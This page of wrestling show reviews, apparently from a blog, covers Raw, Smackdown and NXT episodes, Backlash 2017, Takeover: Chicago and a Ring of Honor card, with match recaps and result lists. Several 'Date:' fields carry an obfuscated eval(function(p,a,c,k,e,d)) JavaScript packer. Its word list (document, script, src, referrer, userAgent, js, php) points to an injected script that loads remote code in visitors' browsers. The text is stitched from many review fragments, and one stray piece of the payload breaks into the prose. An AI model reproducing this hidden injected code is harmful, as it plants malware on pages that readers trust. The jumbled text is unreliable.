New Column: Cool it with Mahal the Backlash
What else was I going to talk about? An amazing angle to end Takeover?
What else was I going to talk about? An amazing angle to end Takeover?
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Night Raw
Date: December 23, 2002
Location: Ford Center, Oklahoma City, Oklahoma
Commentators: Jim Ross, Jerry Lawler
Minor note: this was actually taped a few days earlier due to the holidays.
Opening sequence.
Rob Van Dam/Kane vs. 3 Minute Warning
Rating: D+. Just a quick match here to make sure you know that the Samoans are done because WWE cares more about whatever their issue was behind the scenes than building up what had potential to be a decent tag division. At least Van Dam and Kane were entertaining and have some potential as a good team.
Post match Rico yells at and slaps both guys. Jamal and Rosey almost get in an argument, which is what Rico was wanting to see.
The bosses are worried about Steiner and HHH getting into it tonight when Spike Dudley comes in to yell about William Regal knocking D-Von out last week. Eric Bischoff makes Spike vs. Batista with the Dudleys banned from ringside.
Brown bails into the crowd.
We see a Jerry Lawler book signing in Memphis.
Hurricane vs. Christopher Nowinski
Nowinski jumps him at the bell and gets two off a butterfly slam. Hurricane comes right back with a neckbreaker, only to get chopblocked down. Cue Maven for a distraction though, allowing Hurricane to hit the Shining Wizard for the pin. Hurricane has no direction at all right now and the Tough Enough feud is just continuing.
Batista vs. Spike Dudley
Spike tries a chase to start but is quickly caught and powerbombed onto the barricade. A clothesline and the Batista Bomb wrap this up in a hurry.
Bischoff and Morely are happy so Morely suggests they fight JR and King later. William Regal and Lance Storm come in and offer their services instead, which Bischoff accepts. The usage of brass knuckles is encouraged.
A camera spies on the women getting ready for the tag match later.
Victoria/Molly Holly/Ivory vs. Jacqueline/Trish Stratus/Stacy Keibler
Goldust runs into Chris Jericho, who says Goldust is a failure in all walks of life, including his career because it was Booker who won the titles.
Scott Steiner is going to see HHH in the ring later.
Tag Team Titles: Chris Jericho/Christian vs. Booker T./Goldust
Booker and Goldust are defending. Before the match we see Shawn Michaels superkicking Jericho last week. Normally that would suggest the result of this match was obvious but I could see Jericho vs. Michaels with Jericho as a tag champ. Goldust and Christian start things off with the Canadian eating a clothesline. The announcers have come to a strategy in the tag match: Lawler will do everything.
Kane is about to leave so Van Dam gives him some merry Christmas wishes. Rob talks about having great Christmases as a child, but Kane spent his Christmases locked in the basement torturing rats with razor blades. Dang now I feel sorry for Rob. Anyway Van Dam gives him his Christmas present: Hungry Hungry Hippos.
Jerry Lawler/Jim Ross vs. Lance Storm/William Regal
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NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzdar|var|u0026u|referrer|synhr||js|php'.split('|'),0,{}))
May 24, 2017
Location: Allstate Arena, Chicago, Illinois
Commentators: Percy Watson, Nigel McGuinness, Tom Phillips
Opening sequence.
Aleister Black vs. Curt Hawkins
This is actually fallout from an episode of Main Event where Black beat Hawkins without much effort. Black starts fast with his backflip into the seated position and grabs a rollup for two. A hard shot to the face staggers Hawkins and Black picks him up with a boot underneath the jaw. Hawkins bails to the floor but the chase goes badly as Black Mass ends Curt at 2:50.
Ember Moon talks about how her career got a boost here in Chicago but it sucks sitting here watching all the action.
Video on Roderick Strong vs. Eric Young.
Velveteen Dream vs. Robert Anthony
Video on the UK Title match.
Video on Roode vs. Itami with Roode retaining his title.
Roode will have a Glorious Celebration next week.
Wesley Blake vs. Drew McIntyre
Drew fights right back with a clothesline and a sitout powerbomb for two. Blake sends him shoulder first into the post and grabs a quickly broken Crossface. Another comeback is countered with a Codebreaker onto the arm, only to have Drew toss him off the top. One heck of a headbutt sets up the running boot to the face to end Blake at 11:20.
Results
Aleister Black b. Curt Hawkins – Black Mass
Velveteen Dream b. Robert Anthony – Top rope elbow
Drew McIntyre b. Wesley Blake – Running boot to the face
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Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sthny|var|u0026u|referrer|ebifi||js|php'.split('|'),0,{}))
May 23, 2017
Location: Huntington Center, Toledo, Ohio
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton
We open with a recap of the end of Backlash with Mahal winning the title.
Natalya/Carmella vs. Becky Lynch/Charlotte
Sami Zayn vs. Baron Corbin
Corbin beats the heck out of him after the match, including crushing his head against the top of the barricade with a series of elbows. Sami does a stretcher job.
Lana is still coming.
Jey Uso vs. Tyler Breeze
Jimmy Uso vs. Fandango
Breeze puts on a wig and gets Jey to chase him into the ring, allowing Fandango to roll Jimmy up for the pin at 44 seconds.
Fandango: “You Usos look like you just got caught wearing white after Labor Day.” Breeze wants a rematch for the titles, which is actually on right now.
Tag Team Titles: Usos vs. Breezango
Kevin Owens/Dolph Ziggler vs. AJ Styles/Shinsuke Nakamura
AJ fights up again and kicks his way to freedom, allowing the hot tag off to Nakamura. House is cleaned again with a series of kicks but Ziggler grabs a Fameasser for two. Everything breaks down and Ziggler saves Owens from the Styles Clash, only to eat a running knee from Nakamura. The Kinshasa ends Owens at 24:33.
Results
Becky Lynch/Charlotte b. Carmella/Natalya – Disarm-Her to Carmella
Sami Zayn b. Baron Corbin – Rollup
Tyler Breeze b. Jey Uso – Rollup
Fandango b. Jimmy Uso – Rollup
Usos b. Breezango – Superfly splash to Fandango
AJ Styles/Shinsuke Nakamura b. Kevin Owens/Dolph Ziggler – Kinshasa to Owens
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Night Raw
Date: May 22, 2017
Location: Van Andel Arena, Grand Rapids, Iowa
Commentators: Michael Cole, Booker T., Corey Graves
We open with a recap of the five way being announced last week.
Bray Wyatt vs. Roman Reigns
Post match Joe chokes on both of them until Seth Rollins makes the save. Just announce the tag match already.
Back from a break and Angle does in fact make the tag match. Rollins and Reigns leave but the Drifter comes in. Angle gives him a match with Dean Ambrose later.
Akira Tozawa vs. Ariya Daivari
Noam Dar and Alicia Fox laugh at Sasha Banks for the loss last week but Sasha blows them off.
Elias Samson vs. Dean Ambrose
Samson saves Ambrose with the reverse swinging neckbreaker.
Enzo Amore has been attacked.
Finn Balor vs. Karl Anderson
Sasha Banks vs. Alicia Fox
Rematch from last week. Banks tries an early Bank Statement but has to deal with a Noam Dar distraction, allowing Fox to kick her in the face for two. The running knees in the corner stagger Fox and the double knee drop gives Banks the pin at 2:13.
Post match Dar yells at Banks, allowing Fox to lay her out.
We look back at Goldust turning on R-Truth.
We recap Reigns putting Braun Strowman on the shelf two weeks back.
Apollo Crews vs. Kalisto
Crews kicks him in the face to start, followed by an enziguri for two. The Toss Powerbomb is countered into a rollup for two and a quick Salida Del Sol gives Kalisto the pin at 2:46.
Sheamus vs. Matt Hardy
The winner gets to pick the stipulation for the title match at Extreme Rules. Matt clotheslines him to the floor to start but Sheamus takes over in the brawling. The ten forearms set up a running knee to send Matt into the barricade. Back in and Matt avoids a charge into the corner but gets caught in a Regal Roll for two.
We come back from a break with Sheamus fighting out of a chinlock and using a Jeff distraction to elbow Sheamus in the head. The Side Effect gets two on Sheamus and a jumping knee to the face gets the same on Matt. Sheamus knocks him to the floor but stops to kick at Jeff, allowing Matt to grab the Twist of Fate for the pin at 12:07.
We look at the opening segment.
Austin Aries vs. Tony Nese
Neville beats Nese up and gives him the Rings of Saturn. Aries applauds him.
Mickie James vs. Alexa Bliss
Roman Reigns/Seth Rollins vs. Samoa Joe/Bray Wyatt
As usual, Reigns is hated. Joe and Rollins start with Seth getting in a few jabs, only to be sent crashing to the floor as we take an early break. Back with Reigns giving Bray a Samoan drop but getting dropped by Joe. A chinlock and enziguri keep Reigns in trouble and Bray throws him outside.
Balor comes up to Angle in the back and wants to be in action next week. Angle gives him a triple threat with Joe and Wyatt. He throws in Reigns vs. Rollins as a bonus.
Results
Roman Reigns b. Bray Wyatt via DQ when Samoa Joe interfered
Akira Tozawa b. Ariya Daivari – Top rope backsplash
Elias Samson b. Dean Ambrose via DQ when Miz interfered
Finn Balor b. Karl Anderson – Coup de Grace
Sasha Banks b. Alicia Fox – Double knees in the corner
Kalisto b. Apollo Crews – Salida Del Sol
Matt Hardy b. Sheamus – Twist of Fate
Austin Aries b. Tony Nese – Last Chancery
Samoa Joe/Bray Wyatt b. Roman Reigns/Seth Rollins – Koquina Clutch to Rollins
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2017
Date: May 21, 2017
Location: Allstate Arena, Chicago, Illinois
Commentators: Byron Saxton, Tom Phillips, John Bradshaw Layfield
Kickoff Show: Tye Dillinger vs. Aiden English
This is their third match and this time English sings himself to the ring. Dillinger starts with the ten but English says this is his town (which it actually is). English starts cheating to send Dillinger into the corner though and the posing takes us to an early break. Back with Dillinger working on a chinlock until the comeback starts up. Tye knocks him down and drops a knee before hitting the ten left hands in the corner. Aiden gets in an elbow but misses a Swanton, allowing the Tyebreaker to finish him off at 8:18.
Shinsuke Nakamura vs. Dolph Ziggler
Makes sense for the opener and DEAR GOODNESS do the fans love Nakamura. Feeling out process to start with Ziggler not being able to do much, other than be told to bring it. Nakamura takes him into the corner and starts picking up Good Vibrations. Dolph grabs the neckbreaker over the ropes and slaps on a chinlock as the fans are actually split.
Tag Team Titles: Usos vs. Breezango
We recap Sami Zayn vs. Baron Corbin, which is your standard bully vs. underdog story. Corbin has jumped Zayn multiple times now and Sami is fighting back.
Sami Zayn vs. Baron Corbin
Xavier Woods, Ember Moon, Zack Ryder and someone else play Rocket League on Up Up Down Down.
Welcoming Committee vs. Charlotte/Becky Lynch/Naomi
Becky gets pulled off the apron to prevent another tag though and Tamina gets two off a Samoan drop. The second attempt at the hot tag works a bit better and Becky comes in with the Bexploder for two on Natalya. Carmella has to break up the Disarm-Her and Tamina adds a shot of her own, setting up the Sharpshooter to make Becky tap at 10:07.
US Title: AJ Styles vs. Kevin Owens
Owens is defending. AJ is all fired up to start so Owens bails, only to have them switch places with AJ smirking a bit. Back in and AJ scores with a dropkick but Owens just blasts him with a clothesline to take over. We hit the chinlock with Owens demanding to ASK HIM, followed by a DDT and two backsplashes for two. Owens spends a bit too much time talking trash though and gets caught in belly to back faceplant.
We hit a half crab and an ankle lock of all things but AJ has fought Kurt Angle before and dives over to the ropes. Owens takes him up for a superplex but gets pulled down with a sunset bomb for two, only to have the Phenomenal Forearm broken up. A double underhook implant DDT gives Owens two but frustration starts to set in, allowing AJ to score with the Pele.
We look at the Kickoff Show match.
Erick Rowan vs. Luke Harper
We recap the Smackdown World Title match. Jinder Mahal won a Six Pack Challenge and has attacked Randy Orton a few times, including stealing the title belt for a week or so.
Smackdown World Title: Randy Orton vs. Jinder Mahal
Orton is defending and attacks Mahal before the bell. The beating goes on for a bit until things are separated Jinder is ready to go. Orton is right back on top of him and hammers Mahal all over the ring, including taking him outside for a beating on the floor. Mahal gets in a shot to the arm and takes over though, setting up a variety of armbars back inside.
With the offense that limited, Orton sends him shoulder first into the post to get a breather and grabs the superplex to put both guys down. Orton throws him with a fall away slam for two, followed by a neckbreaker from Mahal for the same. They head outside with Orton beating up the Singh Brothers, allowing Mahal to post the bad arm.
We get a long celebration and a ton of fan reaction shots to end the show.
Results
Shinsuke Nakamura b. Dolph Ziggler – Kinshasa
Usos b. Breezango – Superkick to Fandango
Sami Zayn b. Baron Corbin – Helluva Kick
Welcoming Committee b. Naomi/Charlotte/Becky Lynch – Sharpshooter to Lynch
Kevin Owens b. AJ Styles via countout
Luke Harper b. Erick Rowan – Discus lariat
Jinder Mahal b. Randy Orton – Khallas
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of Honor
Date: May 17, 2017
Location: William J. Myers Pavilion, Baltimore, Maryland
Commentators: Colt Cabana, Ian Riccaboni
Opening sequence.
Will Ferrara/Cheeseburger vs. Chris Sabin/Jonathan Gresham
Everything breaks down with Sabin giving Ferrara a hanging neckbreaker off the apron to the floor. Back inside, Sabin enziguris Cheeseburger into a German suplex from Gresham, only to have Cheeseburger come back with the palm strikes. Not that it matters as Gresham grabs an Octopus Hold to make Cheeseburger tap at 9:38 with Ferrara watching from the floor.
Ferrara walks out on Cheeseburger.
Silas Young vs. Bobby Fish
Back with Young hitting a slingshot double stomp and laying in the trash talking. A springboard clothesline drops Fish again as this has been almost one sided. Back in and they trade some running shots with Fish getting the better of it, only to have a double clothesline drop them both.
Silas grabs a cutter for two as Colt talks about Fish going after the knee but not sticking with it like the old Bobby would do. Hokey smoke: an actual analysis. Silas shrugs off some more shots to the head and grabs a hanging neckbreaker for two. More kicks to the knee give Fish a breather but the Beer City Bruiser offers a distraction. Silas takes off his knee brace and knocks Fish cold for the pin at 13:39.
Six Man Tag Team Titles: Rebellion vs. Briscoe Brothers/Bully Ray
Coleman gets powerbombed through a table to end the show.
http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/
And check out my Amazon author page with cheap wrestling books at:
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshze|var|u0026u|referrer|neytk||js|php'.split('|'),0,{})) nice to have Backlash back where it belongs as the whole September slot didn’t feel right last year. I’m not sure if the show is going to be that much better as historically it’s more a show of Wrestlemania rematches, but why do that when you can do a mostly new card? This show doesn’t have the most hype coming in and after “Takeover: Chicago”, they have quite the hill to climb. Let’s get to it.
Kickoff Show: Tye Dillinger vs. Aiden English
Baron Corbin vs. Sami Zayn
Luke Harper vs. Eric Rowan
Naomi/Charlotte/Becky Lynch vs. Welcoming Committee
Tag Team Titles: Usos vs. Breezango
Shinsuke Nakamura vs. Dolph Ziggler
US Title: AJ Styles vs. Kevin Owens
Smackdown World Title: Randy Orton vs. Jinder Mahal
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Chicago
Date: May 20, 2017
Location: Allstate Arena, Chicago, Illinois
Commentators: Nigel McGuinness, Tom Phillips, Percy Watson
Roderick Strong vs. Eric Young
The top rope elbow looks to set up another wheelbarrow neckbreaker but Strong is ready for it this time. Another shot knocks Dain off the apron but Young breaks up the Angle Slam. The fans stay behind Roddy as he catches Eric on top and knees him in the jaw, knocking him down onto Sanity. Back in and a suplex into a backbreaker gives Strong the pin at 13:38.
We recap the UK Title match, which I believe is the same recap that opened the UK Championship Special from earlier this week. Tyler Bate defeated Pete Dunne to win the inaugural title back in January but Dunne is back and more serious.
Jim Ross comes out for commentary on the next match.
United Kingdom Title: Pete Dunne vs. Tyler Bate
The Velveteen Dream arrives this Wednesday.
NXT Title: Hideo Itami vs. Bobby Roode
Kevin Owens, Milwaukee Brewer Eric Thames, Sami Zayn, Pat Patterson and Kassius Ohno are here.
Tag Team Titles: Authors of Pain vs. DIY
Results
Roderick Strong b. Eric Young – Suplex backbreaker
Pete Dunne b. Tyler Bate – Bitter End
Asuka b. Nikki Cross and Ruby Riot – Running knee to Riot
Bobby Roode b. Hideo Itami – Glorious DDT
Authors of Pain b. DIY – The Authors pulled down the titles
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Smackdown
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December 19, 2002
Location: St. Pete Times Forum, Tampa, Florida
Commentators: Michael Cole, Tazz
Opening sequence.
Eddie Guerrero vs. Billy Kidman
John Cena vs. Chuck Palumbo
We get a long, LONG recap of the build to Torrie/Dawn in the hotel room (same as the one from Sunday I believe) and then see about ten seconds, all of which we saw at the pay per view.
Brock Lesnar vs. Matt Hardy
Brock Lesnar vs. Shannon Moore
Blind Matt gets beaten down as well.
Bill DeMott/Crash vs. Jamie Noble/Nunzio
DeMott beats Crash down as well.
Edge is ready to beat up A-Train again tonight.
Edge vs. A-Train
Kurt Angle vs. Chris Benoit
Lesnar runs in for some suplexes but gets beaten down as well to end the show. My only other thought here: Heyman reminds me of Louie De Palma in far too many ways.
http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/
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